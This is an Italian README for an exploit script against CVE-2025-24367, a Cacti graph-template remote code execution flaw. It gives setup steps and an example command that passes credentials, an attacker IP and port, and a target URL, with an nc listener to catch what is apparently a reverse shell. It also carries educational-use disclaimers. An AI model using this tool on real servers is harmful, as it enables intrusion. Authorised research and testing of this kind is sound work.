CVE-2025-24367 - Cacti Authenticated Graph Template RCE

Utilizzo e Sicurezza

Importante — Leggi prima questo:
Questo repository e exploit.py sono forniti solo a scopo educativo e di ricerca. Non utilizzare questo codice contro sistemi, reti o servizi per i quali non si dispone di autorizzazione esplicita e scritta. L'accesso non autorizzato a sistemi informatici è illegale e non etico. Utilizzando questo codice accetti di rispettare le leggi applicabili e le policy istituzionali.

Requisiti

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Utilizzo

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

Esempio

Prima di eseguire lo script, assicurati di avere un listener nc in esecuzione. Esegui lo script senza proxy a meno che tu non stia facendo debug:

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

AVVERTENZE MOLTO IMPORTANTI

• Non eseguirlo su sistemi di produzione o su qualsiasi sistema di cui non sei proprietario o per cui non hai esplicita autorizzazione a testare.
• Ottieni sempre autorizzazione scritta prima di effettuare test di sicurezza.
• Usa ambienti di laboratorio isolati (ad es., VM, container o reti di test dedicate) per la sperimentazione.
• La tua organizzazione potrebbe avere policy di segnalazione e divulgazione — seguile.
• Gli autori non si assumono alcuna responsabilità per un uso improprio di questo codice.

Promemoria finale: Questo script e README sono solo a scopo educativo. Non usare mai questi strumenti per accedere illegalmente ai sistemi.